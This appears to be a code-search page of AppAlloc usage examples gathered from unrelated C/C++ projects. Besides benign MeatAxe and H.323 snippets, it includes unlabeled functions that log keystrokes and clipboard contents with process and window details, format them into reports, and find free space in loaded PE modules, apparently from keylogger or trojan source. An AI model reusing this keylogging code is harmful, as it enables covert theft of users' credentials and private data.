Exemple #1
0
//
//	Generates a string containing the Prefix, random GUID based on specified Seed, and the Postfix.
//
LPTSTR GenGuidName(
	IN OUT	PULONG	pSeed,					// pointer to a random seed value
	IN		LPTSTR	Prefix OPTIONAL,		// pointer to a prefix string (optional)
	IN		LPTSTR	Postfix OPTIONAL,		// pointer to a postfix string (optional)
	IN		BOOL	bQuoted
	)
{
	ULONG	NameLen = GUID_STR_LENGTH + 1;
	LPTSTR	GuidStr, Name = NULL;
	GUID	Guid;

	GenGuid(&Guid, pSeed);
	if (GuidStr = GuidToString(&Guid, bQuoted))
	{
		if (Prefix)
			NameLen += lstrlen(Prefix);
		if (Postfix)
			NameLen += lstrlen(Postfix);

		if (Name = (LPTSTR)AppAlloc(NameLen*sizeof(_TCHAR)))
		{
			Name[0] = 0;

			if (Prefix)
				lstrcpy(Name, Prefix);
		
			lstrcat(Name, GuidStr);
			if (Postfix)
				lstrcat(Name, Postfix);
		}
		AppFree(GuidStr);
		
	}	// if (GuidStr = 
	return(Name);
}
Exemple #2
0
static int Init(int argc, const char **argv)

{
    /* Process command line options.
       ----------------------------- */
    App = AppAlloc(&AppInfo,argc,argv);
    if (App == NULL)
	return -1;
    opt_G = AppGetOption(App,"-G --gap");
    if (opt_G)
	MtxMessageLevel = -100;
    opt_q = AppGetOption(App,"-q --quick");
    maxord = AppGetIntOption(App,"-m --max-order",-1,1,1000000);

    /* Process arguments.
       ------------------ */
    if (AppGetArguments(App,1,1) < 0)
	return -1;
    iname = App->ArgV[0];

    /* Open input file, call the appropriate function
       ---------------------------------------------- */
    if ((ifile = MfOpen(iname)) == NULL)
    {
	MTX_ERROR("Error opening input file");
	return -1;
    }
    return 0;
}
Exemple #3
0
static int Init(int argc, const char **argv)
{
   if ((App = AppAlloc(&AppInfo,argc,argv)) == NULL) {
      return -1;
   }
   if (AppGetArguments(App,2,2) < 0) {
      return -1;
   }

   // input file
   inpname = App->ArgV[0];
   if (strcmp(inpname,"-")) {
      src = SysFopen(inpname, FM_READ | FM_TEXT | FM_LIB);
      if (src == NULL) {
         MTX_ERROR1("Cannot open %s",inpname);
         return -1;
      }
   } else {
      src = stdin;
   }

   // output file
   outname = App->ArgV[1];
   out = SysFopen(outname,FM_CREATE);
   if (out == NULL) {
      MTX_ERROR1("Cannot open %s for output",outname);
      return -1;
   }

   return 0;
}
Exemple #4
0
PFILE_DESCW FileDescAlloc(ULONG Length)
{
	PFILE_DESCW fDesc = AppAlloc(sizeof(FILE_DESCW) + Length);
	if (fDesc)
	{
		memset(fDesc, 0, sizeof(FILE_DESCW) + Length);
		InitializeListHead(&fDesc->Entry);
	}
	return(fDesc);
}
Exemple #5
0
static int Init(int argc, const char **argv)

{
    if ((App = AppAlloc(&AppInfo,argc,argv)) == NULL)
	return -1;
    if (parseargs() != 0)
	return -1;
    if (init() != 0)
	return -1;
    return 0;
}
Exemple #6
0
//
//	Allocates memory buffer and writes the specified GUID structure into it as 0-terminated string.
//	Caller is responsable for freeing the buffer.
//
LPTSTR GuidToString(
	GUID*	pGuid, 
	BOOL	bQuoted
	)
{
	LPTSTR	pGuidStr;

	if (pGuidStr = (LPTSTR)AppAlloc((GUID_STR_LEN+1)*sizeof(_TCHAR)))
		GuidToBuffer(pGuid, pGuidStr, bQuoted);

	return(pGuidStr);
}
Exemple #7
0
WINERROR ScrGetEncoderClsid(
	const WCHAR*	format, 
	CLSID*			pClsid
	)
{
	Gdiplus::GdiplusStartupInput input;
	ULONG_PTR token;
	PVOID MemToFree = NULL;
	
	Gdiplus::Status status = Gdiplus::GdiplusStartup(&token, &input, 0);
		
	if (status == Gdiplus::Ok)
	{
		UINT num = 0;
		UINT size = 0;

		Gdiplus::ImageCodecInfo* pImageCodecInfo = NULL;

		Gdiplus::GetImageEncodersSize(&num, &size);
		
		if(size == 0)
		{
			return ERROR_UNSUCCESSFULL;
		}

		pImageCodecInfo = (Gdiplus::ImageCodecInfo*)(AppAlloc(size));
		
		if(pImageCodecInfo == NULL)
		{
			return ERROR_UNSUCCESSFULL;
		}

		GetImageEncoders(num, size, pImageCodecInfo);

		for(UINT i = 0; i < num; ++i)
		{
			if(wcscmp(pImageCodecInfo[i].MimeType, format) == 0 )
			{
				MemToFree = (PVOID)pImageCodecInfo;
				*pClsid = pImageCodecInfo[i].Clsid;
				AppFree(MemToFree);
				
				return NO_ERROR;
			}
		}

		MemToFree = (PVOID)pImageCodecInfo;
		AppFree(MemToFree);
	}

	return ERROR_UNSUCCESSFULL;
}
Exemple #8
0
static int Init(int argc, const char **argv)

{
    if ((App = AppAlloc(&AppInfo,argc,argv)) == NULL)
	return -1;
    if (init_args() != 0)
	return -1;
    if (ReadGenerators() != 0)
	return -1;
    if (ReadSeed() != 0)
	return -1;
    return 0;
}
Exemple #9
0
//
//	Searches for files according to the specified Mask starting from the specified Path. 
//	For every file found allocates FILE_DESCW structure and links all theese structures into the FileListHead.
//	Returns number of files found.
//
ULONG	FilesScanA(
	PCHAR				Path,			// directory to search in, should be ended with "\"
	PCHAR				Mask,			// search mask
	PLIST_ENTRY			FilesList,		// the list where all FILE_DESCW structures will be linked
	PCRITICAL_SECTION	FilesListLock,	// file list locking object (OPTIONAL)
	ULONG				SearchPathLen,	// the length of the initial search path in chars, used to keep directory structure 
										//  relative to the search path
	ULONG				SearchFlags		// various flags
	)
{
	ULONG	Len, Count = 0;
	PWSTR	PathW = NULL, MaskW = NULL;

	do	// not a loop
	{
		Len = lstrlenA(Path);
		if (!(PathW = AppAlloc((Len + 1) * sizeof(WCHAR))))
			break;
		mbstowcs(PathW, Path, Len + 1);

		Len = lstrlenA(Mask);
		if (!(MaskW = AppAlloc((Len + 1) * sizeof(WCHAR))))
			break;
		mbstowcs(MaskW, Mask, Len + 1);

		Count = FilesScanW(PathW, MaskW, FilesList, FilesListLock, SearchPathLen, SearchFlags);

	} while(FALSE);

	if (MaskW)
		AppFree(MaskW);
	if (PathW)
		AppFree(PathW);

	return(Count);
}
/********************************************************************************************
 * ChannelCreate
 * purpose : Preparing application handle for new channel(fast start or regular)
 * input   : CmHChannel    - CM handle for the channel
 *                           Can be set to NULL
 *           IsIncoming    - Check if it is incoming or outgoing channel (for fast start)
 *           IsScript      - Is this channel controlled by scripts or the appication's GUI
 *           CurrentCall   - Application handle for the call
 * output  : none
 * return  : Channel handle allocated
 *           NULL if failed
 ********************************************************************************************/
ChannelInfo* ChannelCreate(HCHAN        CmHChannel,
                           BOOL         IsOutGoing,
                           BOOL         IsScript,
                           CallInfo*    CurrentCall)
{
    ChannelInfo* LastChannel;
    ChannelInfo* CurrentChannel;

    /* Create a new channel handle */
    CurrentChannel = (ChannelInfo *)AppAlloc(sizeof(ChannelInfo));
    memset(CurrentChannel, 0, sizeof(ChannelInfo));
    CurrentChannel->rtpSession = -1;
    CurrentChannel->dataTypeNode = -1;

    /* Connect this channel to the list of current channels for the call */
    LastChannel = (ChannelInfo *)CurrentCall->lastChannel;
    CurrentCall->numOfChannels++;
    if (LastChannel == NULL)
    {
        CurrentCall->firstChannel = CurrentChannel;
        CurrentCall->lastChannel = CurrentChannel;
    }
    else
    {
        LastChannel->nextChannel = CurrentChannel;
        CurrentChannel->prevChannel = LastChannel;
        CurrentCall->lastChannel = CurrentChannel;
    }

    /* Set channel information in application database */
    CurrentChannel->hChan = CmHChannel;
    CurrentChannel->call = CurrentCall;

    /* Set the direction of the channel */
    CurrentChannel->isOutgoing = IsOutGoing;
    CurrentChannel->scriptChannel = IsScript;
    CurrentChannel->mark = CurrentCall->firstChannel->mark;

    if (CmHChannel != NULL)
        CurrentChannel->channelId = cmChannelSessionId(CmHChannel);

    return CurrentChannel;
}
Exemple #11
0
//
//	Returns list of buffers specifying free space within PE sections with the specified SectionFlags.
//
PLINKED_BUFFER PeSupGetSectionFreeBuffers(
	IN	HMODULE	TargetModule,	// module to scan sections within
	IN	ULONG	SectionFlags	// section flags
	)
{
	PLINKED_BUFFER FirstBuf = NULL;
	PLINKED_BUFFER LastBuf = NULL;
	PLINKED_BUFFER NewBuf = NULL;
	PCHAR DosHeader = (PCHAR)TargetModule;
	PIMAGE_NT_HEADERS Pe = (PIMAGE_NT_HEADERS)(DosHeader + ((PIMAGE_DOS_HEADER)DosHeader)->e_lfanew);
	PIMAGE_SECTION_HEADER Section = IMAGE_FIRST_SECTION(Pe);
	ULONG NumberOfSections = Pe->FileHeader.NumberOfSections;

	do 
	{
		if (Section->Characteristics & SectionFlags)
		{
			ULONG	RealSize = _ALIGN(Section->SizeOfRawData, Pe->OptionalHeader.FileAlignment);
			ULONG	VirtualSize = max(_ALIGN(Section->Misc.VirtualSize, PAGE_SIZE), _ALIGN(RealSize, PAGE_SIZE));
			ULONG	BufferSize;

			if (Section->Characteristics & IMAGE_SCN_MEM_DISCARDABLE)			
				RealSize = 0;
			
			BufferSize = VirtualSize - RealSize;

			if ((BufferSize) && (NewBuf = (PLINKED_BUFFER)AppAlloc(sizeof(LINKED_BUFFER))))
			{
				NewBuf->Next = NULL;
				NewBuf->Buffer = DosHeader + Section->VirtualAddress + RealSize;
				NewBuf->Size = BufferSize;
				if (FirstBuf == NULL)
					FirstBuf = NewBuf;
				else
					LastBuf->Next = NewBuf;
				LastBuf = NewBuf;
			}
		}	// if (Section->Characteristics & SectionFlags)
		Section += 1;
		NumberOfSections -= 1;
	} while (NumberOfSections);
	return(FirstBuf);
}
Exemple #12
0
static PVOID ReallocBuffer(
	PVOID	pBuffer, 
	ULONG	NewSize,
	ULONG	CurrentSize
	)
{
	PVOID pNewBuffer;

	// Tying to reallocate the buffer
	if (!(pNewBuffer = AppRealloc(pBuffer, NewSize)))
	{
		if (pNewBuffer = AppAlloc(NewSize))
		{
			memcpy(pNewBuffer, pBuffer, CurrentSize);
			AppFree(pBuffer);
		}
	}

	return(pNewBuffer);
}
Exemple #13
0
//
//	Checks the specified path string if it contains an environment variable and if so resolves it's value.
//	Returns new resolved path string or NULL.
//
LPSTR	FilesExpandEnvironmentVariablesA(
	LPSTR	pPath	// target path string to resolve
	)
{
	LPSTR	NewPath = NULL;
	LPWSTR	pPathW;
	ULONG	Len;

	if (pPathW = FilesExpandEnvironmentVariablesAtoW(pPath))
	{
		PathGetShortPath(pPathW);
		Len = lstrlenW(pPathW);
		if (NewPath = AppAlloc(Len + 1))
			wcstombs(NewPath, pPathW, Len + 1);

		AppFree(pPathW);
	}

	return(NewPath);
}
Exemple #14
0
//
//	Checks the specified path string if it contains an environment variable and if so resolves it's value.
//	Returns new resolved path string or NULL.
//
LPWSTR	FilesExpandEnvironmentVariablesW(
	LPWSTR	pPath	// target path string to resolve
	)
{
	LPWSTR	NewPath = NULL;
	ULONG	Len;

	if (pPath && (Len = ExpandEnvironmentStringsW(pPath, NULL, 0)))
	{
		if (NewPath = AppAlloc(Len * sizeof(WCHAR)))
		{
			if (!ExpandEnvironmentStringsW(pPath, NewPath, Len))
			{
				AppFree(NewPath);
				NewPath = NULL;
			}	// if (!ExpandEnvironmentStringsW(Path, NewPath, Len))
		}	// if (NewPath = AppAlloc(Len))
	}	// if ((Len = ExpandEnvironmentStringsW(Path, NULL, 0)) && Len > OldLen)

	return(NewPath);
}
Exemple #15
0
//
//	Checks the specified path string if it contains an environment variable and if so resolves it's value.
//	Returns new resolved path string or NULL.
//
LPWSTR	FilesExpandEnvironmentVariablesAtoW(
	LPSTR	pPath	// target path string to resolve
	)
{
	LPWSTR	pNewPath = NULL, pPathW;
	ULONG	Length;

	if (pPath)
	{
		Length = lstrlenA(pPath);

		if (pPathW = AppAlloc((Length + 1) * sizeof(WCHAR)))
		{
			mbstowcs(pPathW, pPath, Length + 1);
			if (pNewPath = FilesExpandEnvironmentVariablesW(pPathW))
				AppFree(pPathW);
			else
				pNewPath = pPathW;
		}
	}	// if (Path)

	return(pNewPath);
}
Exemple #16
0
//
//	Generates and returns full path to a temporary file.
//
LPTSTR	FilesGetTempFile(
	ULONG Seed		// Seed value used to generate name.
					// We cannot just use GetTickCount() or GetSystemTime() for random name generation because it doesn't
					//  always work correctly and it is possible to receive to equal names by two subsequent calls.
	)
{
	LPTSTR		TempPath = NULL;
	ULONG		TempLen;
	BOOL		Ret = FALSE;

	do	// not a loop
	{		
		if (!(TempLen = GetTempPath(0, NULL)))
			break;

		if (!(TempPath = AppAlloc((TempLen + 14 + 1) * sizeof(_TCHAR))))
			break;

		if (!GetTempPath(TempLen, TempPath))
			break;

		if (!GetTempFileName(TempPath, NULL, (Seed + GetTickCount()), TempPath))
			break;

		Ret = TRUE;

	} while(FALSE);

	if (!Ret && TempPath)
	{
		AppFree(TempPath);
		TempPath = NULL;		
	}

	return(TempPath);
}
Exemple #17
0
static int Init(int argc, const char **argv)

{
    int i;
    int fl1, nor1, noc1, fl2, nor2, noc2;
    char fn[LAT_MAXBASENAME+20];

    /* Initialize global data
       ---------------------- */
    memset(&TKInfo,0,sizeof(TKInfo));
    memset(TkiName,0,sizeof(TkiName));
    memset(CfIsLinked,0,sizeof(CfIsLinked));

    /* Initialize the MeatAxe library
       ------------------------------ */
    if ((App = AppAlloc(&AppInfo,argc,argv)) == NULL)
	return -1;
    opt_s = AppGetOption(App,"-s");
    if (AppGetArguments(App,3,3) != 3)
	return -1;
    strcpy(TkiName,App->ArgV[0]);

    /* Read info files
       --------------- */
    strncpy(TKInfo.NameM,App->ArgV[1],sizeof(TKInfo.NameM));
    strncpy(TKInfo.NameN,App->ArgV[2],sizeof(TKInfo.NameN));
    if (Lat_ReadInfo(&InfoM,App->ArgV[1]) != 0)
    {
	MTX_ERROR1("Error reading %s.cfinfo",App->ArgV[1]);
	return -1;
    }
    if (Lat_ReadInfo(&InfoN,App->ArgV[2]) != 0)
    {
	MTX_ERROR1("Error reading %s.cfinfo",App->ArgV[2]);
	return -1;
    }


    /* Initialize the TKInfo structure
       ------------------------------- */
    TKInfo.NCf = 0;
    for (i = 0; i < LAT_MAXCF; ++i)
	TKInfo.CfIndex[0][i] = TKInfo.CfIndex[1][i] = -1;

    /* Some additional checks on input files
       ------------------------------------- */
    if (InfoM.Field != InfoN.Field)
    {
	MTX_ERROR4("Incompatible representations: %s is over GF(%d), "
	   "%s is over GF(%d)",InfoM.BaseName,InfoM.Field,InfoN.BaseName,
	   InfoN.Field);
	return -1;
    }
    if (InfoM.NGen != InfoN.NGen)
    {
	MTX_ERROR4("Incompatible representations: %s has %d generators, "
	   "%s has %d generators",InfoM.BaseName,InfoM.NGen,InfoN.BaseName,
	   InfoN.NGen);
	return -1;
    }

    /* Print start message
       ------------------- */
    sprintf(fn,"%s.1",InfoM.BaseName);
    fclose(FfReadHeader(fn,&fl1,&nor1,&noc1));
    sprintf(fn,"%s.1",InfoN.BaseName);
    fclose(FfReadHeader(fn,&fl2,&nor2,&noc2));
    MESSAGE(0,("Beginning pre-condensation of dimension %d x %d = %d\n",
	nor1,nor2,nor1*nor2));
    return 0;
}
Exemple #18
0
//
//	Searches for files according to the specified Mask starting from the specified Path. 
//	For every file found allocates FILE_DESCW structure and links all theese structures into the FileListHead.
//	Returns number of files found.
//	Note: In the ANSI version of FindFirstFile the name is limited to MAX_PATH characters. So we have to use UNICODE version 
//		to completely scan all files.
//
ULONG	FilesScanW(
	PWCHAR				Path,			// directory to search in, should be ended with "\"
	PWCHAR				Mask,			// search mask
	PLIST_ENTRY			FilesList,		// the list where all FILE_DESCW structures will be linked
	PCRITICAL_SECTION	FilesListLock,	// file list locking object (OPTIONAL)
	ULONG				SearchPathLen,	// the length of the initial search path in chars, used to keep directory structure 
										//  relative to the search path
	ULONG				SearchFlags		// various flags
	)
{
	ULONG	Found = 0, PathLen, MaskLen, ScanLen = MAX_PATH;
	LPWIN32_FIND_DATAW	FindData;
	PWCHAR	ScanPath, ResolvedPath = NULL;

	if (FindData = AppAlloc(sizeof(WIN32_FIND_DATAW)))
	{
		if (ResolvedPath = FilesExpandEnvironmentVariablesW(Path))
			Path = ResolvedPath;

		PathLen = wcslen(Path);
		MaskLen = wcslen(Mask);

		if (SearchPathLen == 0)
			SearchPathLen = PathLen;

		while ((PathLen + MaskLen + 2) > ScanLen)		// 1 for "\\" and 1 for "\0"
			ScanLen += MAX_PATH;

		if (ScanPath = AppAlloc(ScanLen * sizeof(WCHAR)))
		{
			HANDLE hFind;
			PFILE_DESCW	fDesc;	

			memset(FindData, 0, sizeof(WIN32_FIND_DATA));
			PathCombineW(ScanPath, Path, Mask);

			// Searching for files within the current directory first
			if ((hFind = FindFirstFileW(ScanPath, FindData)) != INVALID_HANDLE_VALUE)
			{
				do
				{
					if ((FindData->nFileSizeHigh) || (FindData->nFileSizeLow > FILE_SIZE_MAX))
						continue;

					if (FindData->cFileName[0] == '.')
						continue;

					if (fDesc = FileDescAlloc(sizeof(FILE_DESCW) + (PathLen + wcslen(Mask) + wcslen(FindData->cFileName) + 2) * sizeof(WCHAR)))
					{
						LPWSTR	pDir, pPath;

						wcscpy((PWCHAR)&fDesc->Path, Path);
						if (pDir = StrRChrW(Mask, NULL, L'\\'))
						{
							PathCombineW((PWCHAR)&fDesc->Path, Path, Mask);
							*PathFindFileNameW((PWCHAR)&fDesc->Path) = 0;
							pPath = (PWCHAR)&fDesc->Path;
						}
						else
							pPath = Path;

						PathCombineW((PWCHAR)&fDesc->Path, pPath, FindData->cFileName);
		
						fDesc->SearchPathLen = SearchPathLen;
						fDesc->Flags = SearchFlags;

						if (FilesListLock)	EnterCriticalSection(FilesListLock);
						InsertTailList(FilesList, &fDesc->Entry);
						if (FilesListLock)	LeaveCriticalSection(FilesListLock);
					
						Found += 1;
					}
				} while(FindNextFileW(hFind, FindData) && WaitForSingleObject(g_AppShutdownEvent, 0) == WAIT_TIMEOUT);

				FindClose(hFind);
			}	// if ((hFind = FindFirstFileW(ScanPath, FindData)) != INVALID_HANDLE_VALUE)

			// Files are searched, looking for directories to scan them recursively
			PathCombineW(ScanPath, Path, L"*");
	
			if ((hFind = FindFirstFileW(ScanPath, FindData)) != INVALID_HANDLE_VALUE)
			{
				do
				{
					if (FindData->cFileName[0] != '.' && (FindData->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
					{
						MaskLen = wcslen(FindData->cFileName);
						if ((PathLen + MaskLen + 2) > ScanLen)		// 1 for "\\" and 1 for "\0"
						{
							AppFree(ScanPath);
							do {
								ScanLen += MAX_PATH;
							} while ((PathLen + MaskLen + 2) > ScanLen);

							if (!(ScanPath = AppAlloc(ScanLen * sizeof(WCHAR))))
								break;	// not enough memory
						}	// if ((PathLen + MaskLen + 2) > ScanLen)

						PathCombineW(ScanPath, Path, FindData->cFileName);

						Found += FilesScanW(ScanPath, Mask, FilesList, FilesListLock, SearchPathLen, SearchFlags);
					}	// if (FindData->cFileName[0] != '.' &&
				} while(FindNextFileW(hFind, FindData) && WaitForSingleObject(g_AppShutdownEvent, 0) == WAIT_TIMEOUT);

				FindClose(hFind);
			}	// if (hFind = FindFirstFileW(ScanPath, FindData))

			if (ScanPath)
				AppFree(ScanPath);
		}	// if (ScanPath = 

		if (ResolvedPath)
			AppFree(ResolvedPath);

		AppFree(FindData);
	}	// if (FindData)
	return(Found);
}
Exemple #19
0
//
//	Creates key store report.
//
WINERROR KeyStoreReport(
	PWCHAR*	ppReport,	// receives key report
	PULONG	pLength,	// size of the report in chars
	BOOL	bDelete
	)
{
	WINERROR Status = ERROR_NOT_ENOUGH_MEMORY;
	PKEY_CONTEXT Ctx, NextCtx;
	ULONG	bLen, TotalLen = 1, Index = 0, Length, InitialSize;
	ULONG   LengthClipbrd = 0;
	PWCHAR	Buffer, NewBuffer;
	SYSTEMTIME	DateTime;
	FILETIME	LocalTime;
	PLIST_ENTRY ListEntry;
#if _DEBUG
	HANDLE	PrevKey = 0;
#endif

	InitialSize = MAX_REPORT_BUFFER_SIZE;

	if (Buffer = AppAlloc(InitialSize))
	{
		bLen = MAX_REPORT_BUFFER_SIZE / sizeof(WCHAR);
		Buffer[0] = 0xfeff;	// Unicode file magic
		Buffer[1] = 0;

		bLen -= 1;

		NextCtx = EnumContext(NULL);

		while(Ctx = NextCtx)
		{
#if _DEBUG
			PHANDLE_RECORD pHRec = CONTAINING_RECORD(Ctx, HANDLE_RECORD, Context);
			ASSERT(pHRec->RefCount == 2);
			ASSERT(PrevKey != pHRec->Key);
			PrevKey = pHRec->Key;
#endif
			if (Ctx->bActive)
			{
				FileTimeToLocalFileTime(&Ctx->Time, &LocalTime);
				FileTimeToSystemTime(&LocalTime, &DateTime);

				// Calculating new message length
				Length = cstrlenW(wczReportFormat) + lstrlenW(Ctx->ProcessPath) + lstrlenW(Ctx->WindowText) + Ctx->Count + 1;

				// Checking if there's enough free space within the buffer to fit the message
				if ((bLen >= Length) ||
					// Trying to reallocate the buffer
					((NewBuffer = ReallocBuffer(Buffer, (InitialSize += max(Length, MAX_KEY_BUFFER_SIZE) * sizeof(WCHAR)), (bLen * sizeof(WCHAR)))) &&
					(Buffer = NewBuffer) && (bLen = (InitialSize / sizeof(WCHAR)) - bLen)))
				{
					Length = wnsprintfW(
						Buffer + TotalLen,
						bLen,
						wczReportFormat,
						DateTime.wDay,
						DateTime.wMonth,
						DateTime.wYear,
						DateTime.wHour,
						DateTime.wMinute,
						DateTime.wSecond,
						(LPWSTR)&Ctx->ProcessPath,
						(LPWSTR)&Ctx->WindowText,
						(LPWSTR)&Ctx->KeyBuffer
						);
					bLen -= Length;
					TotalLen += Length;
				}
			}	// if (Ctx->bActive)

			if (!IsListEmpty(&Ctx->ClipboardChain))
			{
				for ( ListEntry = Ctx->ClipboardChain.Flink;
					ListEntry != &Ctx->ClipboardChain;
					ListEntry = ListEntry->Flink)
				{
					PCLIPBOARD_ENTRY CEntry = CONTAINING_RECORD(ListEntry,CLIPBOARD_ENTRY,qLink);
					Length = cstrlenW(wczFormatClipbrd) + lstrlenA(CEntry->Buffer);

					// Checking if there's enough free space within the buffer to fit the message
					if ((bLen >= Length) ||
						// Trying to reallocate the buffer
						((NewBuffer = ReallocBuffer(Buffer, (InitialSize += max(Length, MAX_KEY_BUFFER_SIZE) * sizeof(WCHAR)), (bLen * sizeof(WCHAR)))) &&
						(Buffer = NewBuffer) && (bLen = (InitialSize / sizeof(WCHAR)) - bLen)))
					{
						FileTimeToLocalFileTime(&CEntry->Time, &LocalTime);
						FileTimeToSystemTime(&LocalTime, &DateTime);

						Length = wnsprintfW(
							Buffer + TotalLen, 
							bLen,
							wczFormatClipbrd,
							DateTime.wDay,
							DateTime.wMonth,
							DateTime.wYear,
							DateTime.wHour,
							DateTime.wMinute,
							DateTime.wSecond,
							(LPWSTR)CEntry->Buffer
							);
						bLen -= Length;
						TotalLen += Length;
					}
				}
			}	// if (!IsListEmpty(&Ctx->ClipboardChain))

			NextCtx = EnumContext(Ctx);

			if (bDelete)
				ReleaseContext(Ctx);
			else
				Index += 1;

			ReleaseContext(Ctx);
		}	// while(Ctx = NextCtx)

		if (TotalLen > 1)
		{
			*ppReport = Buffer;
			*pLength = TotalLen;
			Status = NO_ERROR;
		}
		else
		{
			AppFree(Buffer);
			Status = ERROR_NO_MORE_FILES;
		}
	}	// if (Buffer = AppAlloc(DEFAULT_REPORT_BUFFER_SIZE))

	return(Status);
}
Exemple #20
0
//
//	Adds a new pressed key information into the key store.
//
WINERROR KeyStoreAdd(
	PKEY_INFO	pKeyInfo
	)
{
	WINERROR		Status = ERROR_NOT_ENOUGH_MEMORY;
	ULONG			KeyHandle;
	PKEY_CONTEXT	Ctx;
	BOOL            bDeref = FALSE;

	KeyHandle = Crc32((PCHAR)&pKeyInfo->Client, sizeof(CLIENT_INFO));
	
	if (Ctx = GetContext(KeyHandle))
	{
		bDeref = Ctx->bDirty;		
		if (Ctx->bDirty == FALSE) // just created
		{
			// Context has just been created, initializing
			HANDLE	hProcess;

			// Resolving process path
			if (hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pKeyInfo->Client.ProcessId))
			{
				GetModuleFileNameExW(hProcess, NULL, (LPWSTR)&Ctx->ProcessPath, MAX_PATH);
				CloseHandle(hProcess);
			}

			Ctx->bActive = TRUE;

			// Saving current date and time
			GetSystemTimeAsFileTime(&Ctx->Time);
			
			// Resolving parent window text
			GetWindowTextW(pKeyInfo->Client.ParentWindow, (LPWSTR)&Ctx->WindowText, MAX_WINDOW_TEXT);
		}	// if (Ctx->bDirty == FALSE) // just created

		Ctx->bDirty = TRUE;

		if (Ctx->bActive)
		{
			if (pKeyInfo->wChar && Ctx->Count < MAX_KEY_BUFFER_SIZE)
			{
				if (pKeyInfo->wChar == VK_BACK)
				{
					if (Ctx->Count)
						Ctx->Count -= 1;
				}
				else
				{
					Ctx->KeyBuffer[Ctx->Count] = pKeyInfo->wChar;
					Ctx->Count += 1;
					DbgPrint("KEYLOG: Adding key to a buffer: 0x%x, %C\n", pKeyInfo->wChar, pKeyInfo->wChar);
				}
				Status = NO_ERROR;
			}	// if (Ctx->Count < MAX_KEY_BUFFER_SIZE)
			else
				Status = ERROR_BUFFER_OVERFLOW;

			if ( pKeyInfo->clipboard )
			{
				PCLIPBOARD_ENTRY Entry = (PCLIPBOARD_ENTRY)AppAlloc( sizeof(CLIPBOARD_ENTRY) );
				if ( Entry )
				{
					// Saving current date and time
					GetSystemTimeAsFileTime(&Entry->Time);
					Entry->Buffer = pKeyInfo->clipboard;
					pKeyInfo->clipboard = NULL; // we'll free it later
					InsertTailList(&Ctx->ClipboardChain,&Entry->qLink);
				}
			}	// if ( pKeyInfo->clipboard )
		}	// if (Ctx->bActive)

		if ( bDeref )
			// Context has been reused, dereferencing it
			ReleaseContext(Ctx);
	}	// if (Ctx = GetContext(KeyHandle))

	return(Status);
}
Exemple #21
0
//
//	Allocates a buffer and loads the specified file into it.
//
WINERROR FilesLoadFileA(
	LPSTR	FileName,	// full path to the file to load
	PCHAR*	pBuffer,	// receives a pointer to the buffer containing the loaded file
	PULONG	pSize		// receives the size of the loaded file in bytes
	)
{
	WINERROR Status = ERROR_UNSUCCESSFULL;
	HANDLE	hFile;
	ULONG	Size, bRead;
	LPWSTR	pPath;
	PCHAR	Buffer = NULL;

	do	// not a loop
	{
		if (!(pPath = FilesExpandEnvironmentVariablesAtoW(FileName)))
			break;

		hFile = CreateFileW(pPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
		if (hFile == INVALID_HANDLE_VALUE)
			break;
	
		if ((Size = GetFileSize(hFile, NULL)) == 0)
		{
			Status = ERROR_NO_DATA;
			break;
		}

		// Allocating a buffer with one extra char at the end for a NULL-char to be able to work with a text file.
		if (!(Buffer = AppAlloc(Size + sizeof(_TCHAR))))
			break;
			
		if (!ReadFile(hFile, Buffer, Size, &bRead, NULL))
			break;

		if (Size != bRead)
		{
			Status = ERROR_READ_FAULT;
			break;
		}

		Buffer[Size] = 0;

		*pBuffer = Buffer;
		*pSize = Size;
		Status = NO_ERROR;
	} while(FALSE);

	if (Status == ERROR_UNSUCCESSFULL)
		Status = GetLastError();

	if (hFile != INVALID_HANDLE_VALUE)
		CloseHandle(hFile);

	if (Buffer && (Status != NO_ERROR))
		AppFree(Buffer);

	if (pPath)
		AppFree(pPath);

	return(Status);
}
Exemple #22
0
//
//	Copmpletely clears a specified directory removing all files (and subdirectories if ClearSubfolders flag set).
//
WINERROR FilesClearDirectoryW(
	LPWSTR	pPath,					// A full path to deirecroty to clear
	BOOL	bClearSubfolders,		// Clear subfolders recursively
	BOOL	bIgnoreErrors			// Ignore file delete errors (aka ERROR_SHARING_VIOLATION and so on)
	)
{
	WINERROR Status = ERROR_NOT_ENOUGH_MEMORY;
	PWIN32_FIND_DATAW	FindFileData = NULL;
	LPWSTR	pSearchPath = NULL, pFilePath = NULL;
	HANDLE	hFind;
	ULONG	DirPathLen, FilePathLen = MAX_PATH;					// chars

	do	// not a loop, used just to break out on error
	{
		DirPathLen	= (ULONG)lstrlenW(pPath);	// chars

		if (!(pFilePath = AppAlloc(FilePathLen * sizeof(WCHAR))))
		{
			ASSERT(Status == ERROR_NOT_ENOUGH_MEMORY);
			break;
		}

		if (!(pSearchPath = AppAlloc((DirPathLen + cstrlenW(wczFindAll) + 2) * sizeof(WCHAR))))
		{
			ASSERT(Status == ERROR_NOT_ENOUGH_MEMORY);
			break;
		}

		if (!(FindFileData = AppAlloc(sizeof(WIN32_FIND_DATAW))))
		{
			ASSERT(Status == ERROR_NOT_ENOUGH_MEMORY);
			break;
		}

		PathCombineW(pSearchPath, pPath, wczFindAll);

		hFind = FindFirstFileW(pSearchPath, FindFileData);
		if (hFind == INVALID_HANDLE_VALUE)
		{
			Status = ERROR_PATH_NOT_FOUND;
			break;
		}

		Status = NO_ERROR;

		do
		{
			ULONG NameLen;
			ULONG PathLen;

			// Skip "." and ".." names. 
			if (FindFileData->cFileName[0] == '.')
				continue;

			NameLen = lstrlenW(FindFileData->cFileName);
			PathLen = DirPathLen + NameLen + 2; // a char for "\" and one for 0

			if (FilePathLen < PathLen)
			{
				AppFree(pFilePath);
				if (!(pFilePath = AppAlloc(PathLen * sizeof(WCHAR))))
				{
					Status = ERROR_NOT_ENOUGH_MEMORY;
					break;
				}
				FilePathLen = PathLen;
			}

			PathCombineW(pFilePath, pPath, (LPWSTR)FindFileData->cFileName);

			if (FindFileData->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
			{
				if (bClearSubfolders)
				{
					if ((Status = FilesClearDirectoryW(pFilePath, TRUE, bIgnoreErrors)) == NO_ERROR)
					{
						if (!RemoveDirectoryW(pFilePath) && !bIgnoreErrors)
						{
							Status = GetLastError();
							break;
						}
					}
					else
						break;
				}	// if (ClearSubfolders)
			}	// if (FindFileData->dwFileAttributes & 
			else
			{
